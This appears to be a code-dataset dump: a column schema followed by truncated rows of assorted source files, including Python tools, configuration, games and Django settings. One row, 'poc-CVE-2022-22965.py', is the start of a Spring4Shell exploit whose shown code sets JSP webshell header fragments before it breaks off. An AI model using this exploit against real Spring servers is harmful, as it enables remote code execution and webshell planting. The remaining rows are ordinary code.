hexsha
stringlengths
40
40
size
int64
3
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
972
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
3
972
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
3
972
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
3
1.03M
avg_line_length
float64
1.13
941k
max_line_length
int64
2
941k
alphanum_fraction
float64
0
1
23eccaefa704fa5aee444cb17798c7a6d5d451ae
2,088
py
Python
poc-CVE-2022-22965.py
kh4sh3i/Spring-CVE
fd803b6605fa5594a7d4b6efabbe6a8c2ebdad42
[ "CC0-1.0" ]
1
2022-03-31T22:01:48.000Z
2022-03-31T22:01:48.000Z
poc-CVE-2022-22965.py
kh4sh3i/Spring-CVE
fd803b6605fa5594a7d4b6efabbe6a8c2ebdad42
[ "CC0-1.0" ]
null
null
null
poc-CVE-2022-22965.py
kh4sh3i/Spring-CVE
fd803b6605fa5594a7d4b6efabbe6a8c2ebdad42
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python3 #coding:utf-8 import requests import argparse import urllib3 from urllib.parse import urljoin urllib3.disable_warnings() def Exploit(url): headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"app...
39.396226
775
0.667625
889f24b795abe8806609fc6989f4e20b6c4489f8
9,231
py
Python
PySiddhi4/das/EventSimulator/EventSimulatorClient.py
grainier/PySiddhi
df02e6c398d9d2cde0a1295d8a6f842492dfc441
[ "Apache-2.0" ]
null
null
null
PySiddhi4/das/EventSimulator/EventSimulatorClient.py
grainier/PySiddhi
df02e6c398d9d2cde0a1295d8a6f842492dfc441
[ "Apache-2.0" ]
null
null
null
PySiddhi4/das/EventSimulator/EventSimulatorClient.py
grainier/PySiddhi
df02e6c398d9d2cde0a1295d8a6f842492dfc441
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2017, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. # # WSO2 Inc. licenses this file to you under the Apache License, # Version 2.0 (the "License"); you may not use this file except # in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/...
39.114407
116
0.620951
b2e72b0cf106b02058ef30ee393f9c5c4736a802
1,235
py
Python
talkmap.py
tlylt/cs3243-notes.github.io
5e8127356b948e46f361f9c04fea5ac8d66b409a
[ "MIT" ]
2
2021-08-19T10:19:04.000Z
2022-03-22T03:06:00.000Z
talkmap.py
tlylt/cs3243-notes.github.io
5e8127356b948e46f361f9c04fea5ac8d66b409a
[ "MIT" ]
5
2020-02-25T00:54:05.000Z
2022-02-26T02:19:18.000Z
talkmap.py
tlylt/cs3243-notes.github.io
5e8127356b948e46f361f9c04fea5ac8d66b409a
[ "MIT" ]
12
2021-08-10T14:03:35.000Z
2021-09-08T14:06:04.000Z
# # Leaflet cluster map of talk locations # # (c) 2016-2017 R. Stuart Geiger, released under the MIT license # # Run this from the _talks/ directory, which contains .md files of all your talks. # This scrapes the location YAML field from each .md file, geolocates it with # geopy/Nominatim, and uses the getor...
25.729167
103
0.625911
25e1dc13eb4955c2cacb801e965c9f5c7606ba3d
854
py
Python
setup.py
gitter-badger/chopsticks
0165fce1cd47e4104c117e5fa92a23a36af919ff
[ "Apache-2.0" ]
null
null
null
setup.py
gitter-badger/chopsticks
0165fce1cd47e4104c117e5fa92a23a36af919ff
[ "Apache-2.0" ]
null
null
null
setup.py
gitter-badger/chopsticks
0165fce1cd47e4104c117e5fa92a23a36af919ff
[ "Apache-2.0" ]
null
null
null
from setuptools import setup, find_packages setup( name='chopsticks', description='Chopsticks is an orchestration library: it lets you manage ' + 'and configure remote hosts over SSH.', long_description=open('README.rst').read(), version=0.5, author='Daniel Pope', author_email='...
34.16
79
0.63466
32135f57eadcfc79603a77c0c6fe9157cc922663
6,746
py
Python
msticpy/sectools/proc_tree_schema.py
tj-senserva/msticpy
628391aea901b9be82b8961453d0db7ec04f40e3
[ "MIT" ]
null
null
null
msticpy/sectools/proc_tree_schema.py
tj-senserva/msticpy
628391aea901b9be82b8961453d0db7ec04f40e3
[ "MIT" ]
null
null
null
msticpy/sectools/proc_tree_schema.py
tj-senserva/msticpy
628391aea901b9be82b8961453d0db7ec04f40e3
[ "MIT" ]
null
null
null
# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- """Process...
28.225941
93
0.639638
f19ead99b982348674fba852628c65821c306871
3,143
py
Python
data_sources/ruba_variant_effects/effects_of_variants.py
DEIB-GECO/cov2k_data_collector
767afcc82a883ea2f3de230264c8dbaf08fdb65b
[ "Apache-2.0" ]
null
null
null
data_sources/ruba_variant_effects/effects_of_variants.py
DEIB-GECO/cov2k_data_collector
767afcc82a883ea2f3de230264c8dbaf08fdb65b
[ "Apache-2.0" ]
null
null
null
data_sources/ruba_variant_effects/effects_of_variants.py
DEIB-GECO/cov2k_data_collector
767afcc82a883ea2f3de230264c8dbaf08fdb65b
[ "Apache-2.0" ]
null
null
null
from os.path import sep from os import chdir from typing import Tuple import data_validators.new_variant from db_config.mongodb_model import * from loguru import logger import db_config.connection as connection FILE_PATH_EFFECTS_OF_VARIANTS = "data_sources/ruba_variant_effects/variants_effects.csv".replace("/", sep)...
38.329268
128
0.601018
0a45ff8b888bf8ecd6449442ed52f594cd97b25f
895
py
Python
matplotlib01.py
AdityaPrasadMishra/TensorflowPractice
7107d9043a4d54980e2106f44c42dd2a3727dced
[ "MIT" ]
null
null
null
matplotlib01.py
AdityaPrasadMishra/TensorflowPractice
7107d9043a4d54980e2106f44c42dd2a3727dced
[ "MIT" ]
null
null
null
matplotlib01.py
AdityaPrasadMishra/TensorflowPractice
7107d9043a4d54980e2106f44c42dd2a3727dced
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat Nov 25 21:56:57 2017 @author: aditya """ import numpy as np import matplotlib.pyplot as plt x = np.linspace(0,5,11) y= x**2 z=x**3 #plt.plot(x,y,'r') #plt.xlabel("X label") #plt.ylabel("Y label") #plt.title("Title") #plt.subplot(1,2,1) #plt.plot(x,y,'...
18.265306
42
0.637989
652fdd68abb4d031cbf62d91e19a5bbefccd2c94
14,683
py
Python
juego_simple/intento_de_juego.py
alonso121198/Videogame_FunctionWar
a852f72382c1c540d05f6a9d87edc167b7c19571
[ "MIT" ]
null
null
null
juego_simple/intento_de_juego.py
alonso121198/Videogame_FunctionWar
a852f72382c1c540d05f6a9d87edc167b7c19571
[ "MIT" ]
null
null
null
juego_simple/intento_de_juego.py
alonso121198/Videogame_FunctionWar
a852f72382c1c540d05f6a9d87edc167b7c19571
[ "MIT" ]
null
null
null
import arcade import math import random SPRITE_SCALING_PLAYER = 0.5 SPRITE_SCALING_COIN = 0.2 SPRITE_SCALING_LASER = 0.8 SPRITE_SCALING_BOX = 0.5 COIN_COUNT = 25 SCREEN_WIDTH = 1000 SCREEN_HEIGHT = 800 BULLET_SPEED_X =4 BULLET_SPEED_Y = 4 CHANGE_TIME = 0.024 MOVEMENT_SPEED = 5 # la velocidad de movimiento de mi pe...
30.911579
165
0.622012
74e8c394a7864eecabd885f58a06961f0f6d7df9
2,573
py
Python
github_issue_summarization/pipelines/components/t2t/t2t-proc/datagen.py
qq2016/kubeflow_learning
930706686108f997aab42ccf2fe455dcf09a4afc
[ "Apache-2.0" ]
1
2019-12-03T14:36:08.000Z
2019-12-03T14:36:08.000Z
github_issue_summarization/pipelines/components/t2t/t2t-proc/datagen.py
arki1/examples
c93b792d67c8c52bc91d4ccf5fbaead4e2324331
[ "Apache-2.0" ]
22
2020-02-20T15:27:01.000Z
2022-02-10T01:26:52.000Z
github_issue_summarization/pipelines/components/t2t/t2t-proc/datagen.py
arki1/examples
c93b792d67c8c52bc91d4ccf5fbaead4e2324331
[ "Apache-2.0" ]
1
2020-05-04T13:07:26.000Z
2020-05-04T13:07:26.000Z
# Copyright 2018 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
29.918605
82
0.714341
ef4083b02179831e623c4fc90d470ec0ee0ed642
2,492
py
Python
python/mpibind_map.py
xorJane/mpibind
ff38b9dcd150ca1e8a8796835d8e1e1847b3ba68
[ "MIT" ]
15
2020-07-23T22:45:51.000Z
2021-12-21T01:10:01.000Z
python/mpibind_map.py
xorJane/mpibind
ff38b9dcd150ca1e8a8796835d8e1e1847b3ba68
[ "MIT" ]
17
2020-07-27T21:46:55.000Z
2022-01-05T22:48:53.000Z
python/mpibind_map.py
xorJane/mpibind
ff38b9dcd150ca1e8a8796835d8e1e1847b3ba68
[ "MIT" ]
5
2020-07-23T19:46:20.000Z
2022-01-05T22:08:57.000Z
################################################### # Edgar A. Leon # Lawrence Livermore National Laboratory # # This is a wrapper of mpibind functions to easily # get an application's mapping to the hardware # in the context of MPI. # # This wrapper calls mpibind once per compute node # so that the hardware topology ...
31.544304
68
0.61557
940ca9f74ed46b392d7101cb54794afd5d349c73
11,836
py
Python
libqtile/layout/floating.py
RielPi/qtile
6d128e80ce32cd668a6ab547e6b193e54bdecf5c
[ "MIT" ]
null
null
null
libqtile/layout/floating.py
RielPi/qtile
6d128e80ce32cd668a6ab547e6b193e54bdecf5c
[ "MIT" ]
null
null
null
libqtile/layout/floating.py
RielPi/qtile
6d128e80ce32cd668a6ab547e6b193e54bdecf5c
[ "MIT" ]
null
null
null
# Copyright (c) 2010 matt # Copyright (c) 2010-2011 Paul Colomiets # Copyright (c) 2011 Mounier Florian # Copyright (c) 2012 Craig Barnes # Copyright (c) 2012, 2014-2015 Tycho Andersen # Copyright (c) 2013 Tao Sauvage # Copyright (c) 2013 Julien Iguchi-Cartigny # Copyright (c) 2014 ramnes # Copyright (c) 2014 Sean Vig ...
36.418462
89
0.592092
e9337d108cdca331044d1f1f26fd93d939ed24e3
663
py
Python
sandbox/staticpages_testapp/base_urls.py
emencia/emencia-django-staticpages
a3ff280be5a90e11e50ab53fe44f0763f738ef10
[ "MIT" ]
null
null
null
sandbox/staticpages_testapp/base_urls.py
emencia/emencia-django-staticpages
a3ff280be5a90e11e50ab53fe44f0763f738ef10
[ "MIT" ]
null
null
null
sandbox/staticpages_testapp/base_urls.py
emencia/emencia-django-staticpages
a3ff280be5a90e11e50ab53fe44f0763f738ef10
[ "MIT" ]
null
null
null
""" URL Configuration to test mounting created urls from registries """ from django.contrib import admin from django.urls import include, path from staticpages.loader import StaticpagesLoader staticpages_loader = StaticpagesLoader() urlpatterns = [ path("admin/", admin.site.urls), # Add base pages urls usi...
22.1
66
0.656109
a9c8aa3a8ff10e34dfd3608a09205b0b004b8293
4,900
py
Python
tests/scripts/thread-cert/Cert_5_5_04_SplitMergeRouters.py
tpmanley/openthread
bc02c6c05cf52884bc6cd9fad8dc8fc16364a147
[ "BSD-3-Clause" ]
null
null
null
tests/scripts/thread-cert/Cert_5_5_04_SplitMergeRouters.py
tpmanley/openthread
bc02c6c05cf52884bc6cd9fad8dc8fc16364a147
[ "BSD-3-Clause" ]
2
2019-02-25T10:21:34.000Z
2022-01-23T13:05:08.000Z
tests/scripts/thread-cert/Cert_5_5_04_SplitMergeRouters.py
tpmanley/openthread
bc02c6c05cf52884bc6cd9fad8dc8fc16364a147
[ "BSD-3-Clause" ]
1
2020-10-22T16:33:36.000Z
2020-10-22T16:33:36.000Z
#!/usr/bin/env python3 # # Copyright (c) 2016, The OpenThread Authors. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # ...
37.692308
78
0.688776
eb971ecf13a3c87ade9bda63261790f8682d31ec
15,676
py
Python
renormalizer/lib/integrate/_ivp/rk.py
liwt31/Renormalizer
123a9d53f4f5f32c0088c255475f0ee60d02c745
[ "Apache-2.0" ]
27
2019-09-02T08:35:01.000Z
2022-02-22T08:18:02.000Z
renormalizer/lib/integrate/_ivp/rk.py
liwt31/Renormalizer
123a9d53f4f5f32c0088c255475f0ee60d02c745
[ "Apache-2.0" ]
54
2019-08-30T12:18:39.000Z
2022-03-20T13:23:07.000Z
renormalizer/lib/integrate/_ivp/rk.py
liwt31/Renormalizer
123a9d53f4f5f32c0088c255475f0ee60d02c745
[ "Apache-2.0" ]
6
2019-09-10T03:25:28.000Z
2021-11-20T18:41:58.000Z
from .base import OdeSolver, DenseOutput from .common import ( validate_max_step, validate_tol, select_initial_step, norm, warn_extraneous, validate_first_step, ) from renormalizer.mps.backend import np, xp, backend # Multiply steps computed from asymptotic behaviour of errors by this. SAFETY ...
34.452747
107
0.574955
41b30ffacc54813dd94a32b8716497a7dadda893
754
py
Python
atcoder/abc196/e.py
sugitanishi/competitive-programming
51af65fdce514ece12f8afbf142b809d63eefb5d
[ "MIT" ]
null
null
null
atcoder/abc196/e.py
sugitanishi/competitive-programming
51af65fdce514ece12f8afbf142b809d63eefb5d
[ "MIT" ]
null
null
null
atcoder/abc196/e.py
sugitanishi/competitive-programming
51af65fdce514ece12f8afbf142b809d63eefb5d
[ "MIT" ]
null
null
null
#☆𝒐𝒎𝒂𝒋𝒊𝒏𝒂𝒊☆# import sys import math import itertools from functools import lru_cache from collections import deque import bisect sys.setrecursionlimit(10000000) input=lambda : sys.stdin.readline().rstrip() '''''✂''''''''''''''''''''''''''''''''''''''''''''''''''''''''' n=int(input()) mn=[] mx=[] sm=0 for i in ...
22.176471
63
0.596817
bca7380b0c03786aaf3ba34ef06af98ddf49e76b
281
py
Python
gymnast/pdf_operation/__init__.py
ajmarks/gymnast
db272bdf24ae51c2c575c34abefb1c265f4cd3f5
[ "MIT" ]
12
2015-11-18T23:24:16.000Z
2018-03-26T23:56:53.000Z
gymnast/pdf_operation/__init__.py
ajmarks/pdf_parser
db272bdf24ae51c2c575c34abefb1c265f4cd3f5
[ "MIT" ]
4
2015-11-05T23:40:46.000Z
2015-11-10T19:35:59.000Z
gymnast/pdf_operation/__init__.py
ajmarks/pdf_parser
db272bdf24ae51c2c575c34abefb1c265f4cd3f5
[ "MIT" ]
1
2016-07-14T22:23:53.000Z
2016-07-14T22:23:53.000Z
""" PDF Content Stream operations. These represent the bulk of the displayed content in the document. They are callables that act on a PdfRenderer object """ from .pdf_operation import PdfOperation from . import operations __all__ = ['PdfOperation', 'operations']
28.1
77
0.740214
85412600912477b67fca52ef22611ad967acf7a4
1,660
py
Python
openstack/network/v2/port_forwarding.py
tj8000rpm/openstacksdk
161e49f60ae543bdd08e78b875295de51d2f25a3
[ "Apache-2.0" ]
null
null
null
openstack/network/v2/port_forwarding.py
tj8000rpm/openstacksdk
161e49f60ae543bdd08e78b875295de51d2f25a3
[ "Apache-2.0" ]
null
null
null
openstack/network/v2/port_forwarding.py
tj8000rpm/openstacksdk
161e49f60ae543bdd08e78b875295de51d2f25a3
[ "Apache-2.0" ]
1
2020-07-21T02:18:23.000Z
2020-07-21T02:18:23.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under t...
35.319149
75
0.73012
8404d8d687958740d587fad8953d4cb7632c2805
1,756
py
Python
examples/ExampleSolution/multiPMExample.py
cpagravel/PyMonsoon
2dbbd7ffbc0b29b57b8dfd87d5b88c6b58ea9d94
[ "MIT" ]
45
2017-09-13T18:10:44.000Z
2022-01-28T07:01:45.000Z
examples/ExampleSolution/multiPMExample.py
cpagravel/PyMonsoon
2dbbd7ffbc0b29b57b8dfd87d5b88c6b58ea9d94
[ "MIT" ]
26
2017-08-17T03:08:08.000Z
2022-02-22T22:48:13.000Z
examples/ExampleSolution/multiPMExample.py
cpagravel/PyMonsoon
2dbbd7ffbc0b29b57b8dfd87d5b88c6b58ea9d94
[ "MIT" ]
22
2017-08-16T21:34:42.000Z
2022-02-24T02:58:03.000Z
import Monsoon.HVPM as HVPM import Monsoon.sampleEngine as sampleEngine import Monsoon.Operations as op import Monsoon.pmapi as pmapi from multiprocessing import Process def testHVPM(serialno=None,Protocol=pmapi.USB_protocol()): HVMON = HVPM.Monsoon() HVMON.setup_usb(serialno,Protocol) print("HVPM Serial ...
37.361702
103
0.762528
e669dae98ca00cd7dcadb638614b2ff781432825
898
py
Python
saleor/core/templatetags/shop.py
Iahack/saleor
4e1a0a81812c5914c38c7382506479f8d8522b55
[ "BSD-3-Clause" ]
1
2018-06-13T15:23:40.000Z
2018-06-13T15:23:40.000Z
saleor/core/templatetags/shop.py
Iahack/saleor
4e1a0a81812c5914c38c7382506479f8d8522b55
[ "BSD-3-Clause" ]
7
2020-03-24T16:50:06.000Z
2021-11-16T16:06:34.000Z
saleor/core/templatetags/shop.py
Iahack/saleor
4e1a0a81812c5914c38c7382506479f8d8522b55
[ "BSD-3-Clause" ]
1
2021-02-09T08:41:29.000Z
2021-02-09T08:41:29.000Z
import json from django.template import Library from django.utils.http import urlencode register = Library() @register.simple_tag(takes_context=True) def get_sort_by_url(context, field, descending=False): request = context['request'] request_get = request.GET.dict() if descending: request_get['s...
26.411765
72
0.7049
8f065eb45d809960c7b7f5d49611aed670c74a11
3,377
py
Python
backend/settings.py
csouflis/django-react-template
58bca21593a883837e204c54bc958a246cde6c71
[ "MIT" ]
4
2021-07-12T15:33:42.000Z
2021-11-19T23:21:13.000Z
backend/settings.py
csouflis/django-react-template
58bca21593a883837e204c54bc958a246cde6c71
[ "MIT" ]
null
null
null
backend/settings.py
csouflis/django-react-template
58bca21593a883837e204c54bc958a246cde6c71
[ "MIT" ]
null
null
null
""" Django settings for backend project. Generated by 'django-admin startproject' using Django 3.2.4. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from pathlib...
26.178295
91
0.702695
e41918682fbd28548f208c5b52c16c9dc98084e2
10,770
py
Python
gym-duckietown/gym_duckietown/objmesh.py
williamlooo/self-driving-decal
0d083619c44d13eecde09ad0a7660459d8861c0d
[ "MIT" ]
null
null
null
gym-duckietown/gym_duckietown/objmesh.py
williamlooo/self-driving-decal
0d083619c44d13eecde09ad0a7660459d8861c0d
[ "MIT" ]
null
null
null
gym-duckietown/gym_duckietown/objmesh.py
williamlooo/self-driving-decal
0d083619c44d13eecde09ad0a7660459d8861c0d
[ "MIT" ]
null
null
null
# coding=utf-8 from .graphics import * from .utils import * from . import logger import os def relabel_mtl(cur_mtl, color): # TODO: override the default Ka, Kd, Ks, Ke to change the color # -read http://paulbourke.net/dataformats/mtl/ # -Brandon cur_mtl["Kd"] = color class ObjMesh(object): """...
32.342342
79
0.510214
900d0474cf583c20499baabe4cf9ae360d2327e5
3,635
py
Python
modules/craft.py
oopss1k/4
19b20fefdef868969184c332d41423089b4e9173
[ "MIT" ]
10
2020-08-14T03:41:13.000Z
2021-12-12T20:04:08.000Z
modules/craft.py
oopss1k/4
19b20fefdef868969184c332d41423089b4e9173
[ "MIT" ]
6
2020-08-28T17:27:55.000Z
2022-02-25T20:39:02.000Z
modules/craft.py
AvaCity/avacity-async
d600bf3914ab13c918d33a17b1c70df8d2af6913
[ "BSD-3-Clause" ]
5
2020-08-13T20:40:16.000Z
2022-02-25T20:28:43.000Z
from modules.base_module import Module class_name = "Craft" class Craft(Module): prefix = "crt" def __init__(self, server): self.server = server self.commands = {"bc": self.buy_component, "prd": self.produce} self.craft_items = server.parser.parse_craft() async def buy_component...
39.086022
76
0.497937
dc48161b8a7b76254144f92e90120a621c6c29f2
4,125
py
Python
lib/python/tests/bdebuild/meta/test_optionsevaluator.py
apaprocki/bde-tools
74cee6ed6c2de1bbb0d7cb7fdc96b60a37cab434
[ "Apache-2.0" ]
null
null
null
lib/python/tests/bdebuild/meta/test_optionsevaluator.py
apaprocki/bde-tools
74cee6ed6c2de1bbb0d7cb7fdc96b60a37cab434
[ "Apache-2.0" ]
null
null
null
lib/python/tests/bdebuild/meta/test_optionsevaluator.py
apaprocki/bde-tools
74cee6ed6c2de1bbb0d7cb7fdc96b60a37cab434
[ "Apache-2.0" ]
null
null
null
import unittest try: from cStringIO import StringIO except: from io import StringIO from bdebuild.meta import optionsevaluator from bdebuild.meta import optionsparser from bdebuild.meta import optiontypes from bdebuild.common import sysutil class TestOptionsEvaluator(unittest.TestCase): def test_match_...
33.811475
79
0.613091
03383e1f773cfb34848701639739fbe68f1b6147
588
py
Python
pyavreceiver/http_api.py
JPHutchins/pyavreceiver
2c86d0ab1f3bca886d2a876096ac760ffb1dcd5f
[ "Apache-2.0" ]
2
2020-12-28T06:09:18.000Z
2021-01-09T22:36:57.000Z
pyavreceiver/http_api.py
JPHutchins/pyavreceiver
2c86d0ab1f3bca886d2a876096ac760ffb1dcd5f
[ "Apache-2.0" ]
1
2021-02-03T22:59:49.000Z
2021-02-03T22:59:49.000Z
pyavreceiver/http_api.py
JPHutchins/pyavreceiver
2c86d0ab1f3bca886d2a876096ac760ffb1dcd5f
[ "Apache-2.0" ]
null
null
null
"""Define a request/response connection to an AV Receiver.""" from abc import ABC from collections import defaultdict class HTTPApi(ABC): """Define the HTTP connection interface.""" def __init__(self, host: str, upnp_data=None): """Init the connection.""" self.host = host self._upnp_d...
28
61
0.646259
8da65113587fed97704e21378b2274ffefe4817a
3,604
py
Python
mucped22/scripts/crop.py
pedersor/google-research
6fa751dd261b3f6d918fd2cd35efef5d8bf3eea6
[ "Apache-2.0" ]
1
2022-03-30T07:14:49.000Z
2022-03-30T07:14:49.000Z
mucped22/scripts/crop.py
pedersor/google-research
6fa751dd261b3f6d918fd2cd35efef5d8bf3eea6
[ "Apache-2.0" ]
null
null
null
mucped22/scripts/crop.py
pedersor/google-research
6fa751dd261b3f6d918fd2cd35efef5d8bf3eea6
[ "Apache-2.0" ]
1
2022-03-30T07:20:29.000Z
2022-03-30T07:20:29.000Z
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
34.32381
120
0.652886
f35d063de504482d75de9b99877389e552b981ce
5,768
py
Python
homeassistant/components/opencv/image_processing.py
Mariusthvdb/home-assistant
2cd8b4cf6d04c1e07bfae302bb5dc5809161c7d8
[ "Apache-2.0" ]
7
2019-02-07T14:14:12.000Z
2019-07-28T06:56:10.000Z
homeassistant/components/opencv/image_processing.py
Mariusthvdb/home-assistant
2cd8b4cf6d04c1e07bfae302bb5dc5809161c7d8
[ "Apache-2.0" ]
6
2021-02-08T20:54:31.000Z
2022-03-12T00:50:43.000Z
homeassistant/components/opencv/image_processing.py
klauern/home-assistant-core
c18ba6aec0627e6afb6442c678edb5ff2bb17db6
[ "Apache-2.0" ]
2
2020-11-04T07:40:01.000Z
2021-09-13T21:44:03.000Z
"""Support for OpenCV classification on images.""" from datetime import timedelta import logging import numpy import requests import voluptuous as vol from homeassistant.components.image_processing import ( CONF_ENTITY_ID, CONF_NAME, CONF_SOURCE, PLATFORM_SCHEMA, ImageProcessingEntity, ) from home...
30.041667
87
0.621186
1f7a111db6a7a8752d936b005ef143b170e6798d
2,353
py
Python
setup.py
uae0786/WhatsApp-Auto-Reply
f55c0e376663282cab78f81d01ab24b3cdb4e59d
[ "MIT" ]
3
2018-04-11T03:02:30.000Z
2018-05-19T13:26:31.000Z
setup.py
uae0786/WhatsApp-Auto-Reply
f55c0e376663282cab78f81d01ab24b3cdb4e59d
[ "MIT" ]
null
null
null
setup.py
uae0786/WhatsApp-Auto-Reply
f55c0e376663282cab78f81d01ab24b3cdb4e59d
[ "MIT" ]
7
2018-04-11T09:00:38.000Z
2021-01-23T08:58:46.000Z
"""A setuptools based setup module. See: https://packaging.python.org/en/latest/distributing.html https://github.com/pypa/sampleproject """ # Always prefer setuptools over distutils from setuptools import setup, find_packages # To use a consistent encoding from codecs import open from os import path here = path.absp...
30.558442
78
0.670208
f9ffc53269a58a15b387a94907e19d293f3a182a
15,018
py
Python
resources/ymap.py
Markus1812/Sollumz
8d407bd04e47b5f1869930093ee7583b4e4fd3bf
[ "MIT" ]
4
2021-02-14T15:09:35.000Z
2022-02-01T20:07:01.000Z
resources/ymap.py
Markus1812/Sollumz
8d407bd04e47b5f1869930093ee7583b4e4fd3bf
[ "MIT" ]
null
null
null
resources/ymap.py
Markus1812/Sollumz
8d407bd04e47b5f1869930093ee7583b4e4fd3bf
[ "MIT" ]
1
2021-08-21T19:25:57.000Z
2021-08-21T19:25:57.000Z
from .codewalker_xml import * class YMAP: @staticmethod def from_xml_file(filepath): return CMapData.from_xml_file(filepath) @staticmethod def write_xml(cmap_data, filepath): return cmap_data.write_xml(filepath) class Extension(ElementTree, AbstractClass): tag_name = "Item" ...
40.370968
101
0.681516
44b641d072f3744d202e24fa270878f3e7565f95
6,245
py
Python
nipyapi/nifi/models/node_process_group_status_snapshot_dto.py
iMajna/nipyapi
5480af8fe8c6b470249837835cb1a067abb6678e
[ "Apache-2.0" ]
null
null
null
nipyapi/nifi/models/node_process_group_status_snapshot_dto.py
iMajna/nipyapi
5480af8fe8c6b470249837835cb1a067abb6678e
[ "Apache-2.0" ]
1
2020-03-16T10:02:46.000Z
2020-03-16T13:37:42.000Z
nipyapi/nifi/models/node_process_group_status_snapshot_dto.py
iMajna/nipyapi
5480af8fe8c6b470249837835cb1a067abb6678e
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ NiFi Rest Api The Rest Api provides programmatic access to command and control a NiFi instance in real time. Start and stop processors, monitor queues, query provenance data, and more. Each endpoint below includes a description, ...
29.738095
479
0.595837
6d9d940174c52cb06e245e48e61be121d0e21345
13,612
py
Python
wator.py
michaelmsinclair/wa-tor
e80efedd8fb2bdbc4684efb11516d526a581aab0
[ "MIT" ]
1
2017-12-10T16:19:16.000Z
2017-12-10T16:19:16.000Z
wator.py
michaelmsinclair/wa-tor
e80efedd8fb2bdbc4684efb11516d526a581aab0
[ "MIT" ]
16
2017-12-10T14:00:36.000Z
2017-12-21T00:41:26.000Z
wator.py
michaelmsinclair/wator
e80efedd8fb2bdbc4684efb11516d526a581aab0
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Nov 15 17:06:04 2017 @author: michael The sea that is the planet Wa-Tor. Laid out with finite cartesian coordinates that wrap around, it is a torus. If a creature moves beyond maxX, or maxY it returns to the origin. All X: {0, 1, ..., maxX} All Y: {0,...
38.343662
163
0.579709
e28f50375f812ba18a597a063fdc24cee2992f1e
580
bzl
Python
third_party/java/arcs/build_defs/internal/kotlin_serviceloader_registry.bzl
0xflotus/arcs
13614f1086f5bdcb973c6c6c9b28a49e4048a6a4
[ "BSD-Source-Code" ]
57
2017-05-17T02:27:13.000Z
2022-03-24T07:45:39.000Z
third_party/java/arcs/build_defs/internal/kotlin_serviceloader_registry.bzl
0xflotus/arcs
13614f1086f5bdcb973c6c6c9b28a49e4048a6a4
[ "BSD-Source-Code" ]
2,687
2017-04-28T01:25:03.000Z
2022-01-07T13:51:39.000Z
third_party/java/arcs/build_defs/internal/kotlin_serviceloader_registry.bzl
0xflotus/arcs
13614f1086f5bdcb973c6c6c9b28a49e4048a6a4
[ "BSD-Source-Code" ]
52
2017-04-28T00:06:50.000Z
2021-08-29T05:36:06.000Z
"""Rules for Kotlin jvm particles.""" def _kotlin_serviceloader_registry(ctx): ctx.actions.write(ctx.outputs.out, "\n".join(ctx.attr.particles), False) kotlin_serviceloader_registry = rule( implementation = _kotlin_serviceloader_registry, attrs = { "particles": attr.string_list(doc = "List of full...
34.117647
94
0.668966
d7b2d343e011ab1782044be9de7a4313036ab12c
657
py
Python
src/omero_napari/plugins/napari.py
will-moore/napari-omero
c3fe552a6417c312ab52e7ade10d1b80859b5336
[ "BSD-3-Clause" ]
null
null
null
src/omero_napari/plugins/napari.py
will-moore/napari-omero
c3fe552a6417c312ab52e7ade10d1b80859b5336
[ "BSD-3-Clause" ]
null
null
null
src/omero_napari/plugins/napari.py
will-moore/napari-omero
c3fe552a6417c312ab52e7ade10d1b80859b5336
[ "BSD-3-Clause" ]
null
null
null
import os from functools import partial from typing import Callable, List, Optional, Union from napari_plugin_engine import napari_hook_implementation from ..utils import parse_omero_url, get_proxy_obj from .loaders import omero_proxy_reader, omero_url_reader @napari_hook_implementation def napari_get_reader(path:...
29.863636
73
0.733638
a6d3290f1140b511a0d138a05e3a3e65c774005b
10,154
py
Python
tools/deployment/onnx2tensorrt.py
yefangok/mmocr
ee185c17d6097c4a9ffeaec41f9cb1d271568074
[ "Apache-2.0" ]
null
null
null
tools/deployment/onnx2tensorrt.py
yefangok/mmocr
ee185c17d6097c4a9ffeaec41f9cb1d271568074
[ "Apache-2.0" ]
null
